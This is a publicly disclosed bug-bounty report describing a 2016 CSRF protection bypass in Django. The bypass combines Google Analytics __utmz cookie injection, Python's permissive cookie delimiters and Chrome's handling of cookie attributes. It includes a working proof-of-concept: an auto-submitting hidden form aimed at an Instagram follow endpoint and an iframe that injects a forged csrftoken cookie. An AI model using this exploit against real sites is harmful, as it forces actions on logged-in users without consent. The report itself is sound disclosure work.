HexBrain

Django · Report #26647

CSRF protection bypass on any Django powered site via Google Analytics

Validstatus
70upvotes
26 Sept 2016disclosed

How it was found

I shall explain all the steps to create the final PoC in order to be more clear.

Part 1. Cookie Injection via Google Analytics

(Reported to Google, rewarded, still working)

  • Google Analytics sets the cookie to track user source: __utmz=123456.123456789.11.2.utmcsr=[HOST]|utmccn=(referral)|utmcmd=referral|utmcct=[PATH] For example: __utmz=123456.123456789.11.2.utmcsr=blackfan.ru|utmccn=(referral)|utmcmd=referral|utmcct=/path/

  • User fully controls path in Referer and it is not filtered before being put in __utmz

Part 2. Cookie parsing peculiarities by different web servers

  • A typical Cookie sent by a web browser looks like this: Cookie: param1=value1; param2=value2;

  • Many web servers accept cookies delimited not only by semicolons but also by commas: Cookie: param1=value2, param2=value2 Cookie: param1=value2,param2=value2

  • Python + Django handle cookies with incorrect regular expression that allows to use characters [ \ ] as delimiters: Cookie: param1=value1]param2=value2

https://docs.python.org/3/library/http.cookies.html http://hg.python.org/cpython/file/3.4/Lib/http/cookies.py#l432 http://tools.ietf.org/html/rfc2109 http://tools.ietf.org/html/rfc2068

Example:

>>> from http import cookies
>>> C = cookies.SimpleCookie()
>>> C.load('__utmz=blah]csrftoken=x')
>>> C
<SimpleCookie: csrftoken='x'>

Part 3. Cookie handling peculiarities in different web browsers

(Reported to Google, won't fix)

  • For all the web browsers except Safari characters of space, comma, and [ \ ] can be used as cookie values

  • Chrome handles only a limited number of cookie-attributes, e.g.: Set-Cookie: test=test; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=.google.com; domain=blah.blah.blah.google.com; will set cookie for .google.com but not for blah.blah.blah.google.com

Combining all these facts

Provided that:

  • A site uses Google Analytics
  • This site is hosted by a web server that has some of the aforementioned cookie parsing peculiarities (e.g. Django)
  • This site implements Cookie based CSRF protection (a value in Cookie and some request parameter must be equal)

Then:

  • We can set new arbitrary cookies or redefine the values of existing ones
  • This site is vulnerable to CSRF protection bypass

The principal problem of __utmz cookie is that it is set for six months and is not refreshed. This problem can be solved in Google Chrome if you find a subdomain with Google Analytics and rewrite attribute "domain" using the peculiarity that has been described in part 3 with the value ".site.com".

In other browsers the vulnerability can be exploited by cookie injection at the moment of __utmz refreshing.

PoC

Vulnerability exploitation on instagram.com with Google Chrome (Reported to Facebook, redirected to Django Team)

  • Open Google Chrome in incognito mode
  • Authenticate on instagram.com
  • Click the link and wait some seconds
  • Result - follow http://instagram.com/black2fan

http://blackfan.ru/facebookbugbounty/nouysqaqfbskgobuqkknoitvyqmjgony_instagram.html Source:

<form 
action="http://instagram.com/web/friendships/1312928755/follow/?ref=emptyfeed" 
id="csrf" 
method="POST">
      <input type="hidden" name="csrfmiddlewaretoken" value="x" />
      <input type="submit" value="Submit request" />
</form>

<script>
      function xxx() {
        document.getElementById('csrf').submit();
      }
</script>

<iframe 
onload="xxx()" 
src="http://blackfan.ru/r/,]csrftoken=x,;domain=.instagram.com;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;path=/;?r=http://blog.instagram.com/"/>

Description:

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original